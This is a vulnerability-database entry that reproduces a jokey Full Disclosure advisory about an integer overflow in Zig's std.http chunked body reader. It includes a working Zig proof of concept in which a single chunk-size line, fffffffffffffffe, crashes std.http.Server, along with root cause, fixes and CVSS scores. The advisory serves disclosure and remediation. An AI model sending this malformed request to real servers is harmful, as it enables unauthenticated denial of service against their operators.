GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria

    1 vulnerability found for Zig std.http chunked by unknown

    GCVE-1988-2026-0047

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
    VLAI
    Title
    Zig std.http chunked reader integer overflow -> unauthenticated remote DoS
    Summary
    Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow panic in Zig’s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, Reader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has accepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for chunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the temple and cursed enough to set it on fire.¹ The practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard request bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe reaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the worker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather than producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server over fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says “systems programming” like having your HTTP parser defeated by two bytes of conceptual optimism. // poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc` const std = @import("std"); const http = std.http; pub fn main() !void { const body = "A" ** 300; // ≥ read-buffer so the read is buffer-bounded, not EOF-bounded const request_bytes = "POST /upload HTTP/1.1\r\n" ++ "Host: victim\r\n" ++ "Transfer-Encoding: chunked\r\n" ++ "\r\n" ++ "fffffffffffffffe\r\n" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2 body; var in = std.Io.Reader.fixed(request_bytes); var out_buf: [4096]u8 = undefined; var out = std.Io.Writer.fixed(&out_buf); var server = http.Server.init(&in, &out); var request = try server.receiveHead(); // Head.parse accepts TE:chunked var transfer_buf: [256]u8 = undefined; const br = try request.readerExpectContinue(&transfer_buf); var dst: [256]u8 = undefined; _ = try br.readSliceShort(&dst); // -> panic at http.zig:586} Root cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. Suggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably impose a sane implementation maximum far below “the heat death of RAM.” Separately, Request.Head.parse should reject requests containing both Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting both and letting chunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.² CWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. Confidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it arrived in. ¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF term, but we are submitting an erratum to reality.² Footnote ² exists only to prove the report has layers, like an onion, or a parser state machine written during a thunderstorm. Cheers! Agent Spooky's Fun Parade [agent-spooky-1.png] _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Impacted products

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "Zig std.http chunked",
              "vendor": "unknown",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Agent Spooky\u2019s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow \npanic in Zig\u2019s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, \nReader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has \naccepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for \nchunk_len \u003c= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the \ntemple and cursed enough to set it on fire.\u00b9\n\nThe practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard \nrequest bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe \nreaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the \nworker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather \nthan producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server \nover fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says \n\u201csystems programming\u201d like having your HTTP parser defeated by two bytes of conceptual optimism.\n\n// poc.zig \u2014 build: `zig build-exe poc.zig` (Debug) ; run: `./poc`\nconst std = @import(\"std\");\nconst http = std.http;\n\npub fn main() !void {\nconst body = \"A\" ** 300; // \u2265 read-buffer so the read is buffer-bounded, not EOF-bounded\nconst request_bytes =\n\"POST /upload HTTP/1.1\\r\\n\" ++\n\"Host: victim\\r\\n\" ++\n\"Transfer-Encoding: chunked\\r\\n\" ++\n\"\\r\\n\" ++\n\"fffffffffffffffe\\r\\n\" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2\nbody;\n\nvar in = std.Io.Reader.fixed(request_bytes);\nvar out_buf: [4096]u8 = undefined;\nvar out = std.Io.Writer.fixed(\u0026out_buf);\n\nvar server = http.Server.init(\u0026in, \u0026out);\nvar request = try server.receiveHead(); // Head.parse accepts TE:chunked\n\nvar transfer_buf: [256]u8 = undefined;\nconst br = try request.readerExpectContinue(\u0026transfer_buf);\nvar dst: [256]u8 = undefined;\n_ = try br.readSliceShort(\u0026dst); // -\u003e panic at http.zig:586}\n\n\nRoot cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. \nSuggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably \nimpose a sane implementation maximum far below \u201cthe heat death of RAM.\u201d Separately, Request.Head.parse should reject \nrequests containing both Content-Length and Transfer-Encoding per RFC 7230 \u00a73.3.3, because accepting both and letting \nchunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.\u00b2\n\nCWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.\nCVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.\nConfidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it \narrived in.\n\n\u00b9 \u201cValid enough to enter, cursed enough to set it on fire\u201d is not yet an IETF term, but we are submitting an erratum to \nreality.\u00b2 Footnote \u00b2 exists only to prove the report has layers, like an onion, or a parser state machine written \nduring a thunderstorm.\n\nCheers!\n\nAgent Spooky\u0027s Fun Parade\n\n[agent-spooky-1.png]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-1284",
                  "description": "CWE-1284",
                  "lang": "en",
                  "type": "CWE"
                },
                {
                  "cweId": "CWE-190",
                  "description": "CWE-190",
                  "lang": "en",
                  "type": "CWE"
                },
                {
                  "cweId": "CWE-617",
                  "description": "CWE-617",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-07T13:20:21Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Jul/0"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Jul/0"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "Zig std.http chunked reader integer overflow -\u003e unauthenticated remote DoS",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0047",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0",
                "automated": true,
                "contentSha256": "ee9275e5051b4ddd56cb304c6e6cc465817417ee75fe1a18379408ee5024c147",
                "evidenceScore": 9,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/0",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-06-29T01:17:59Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-09-07T13:20:21Z",
        "dateUpdated": "2026-09-07T13:20:21Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0047"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }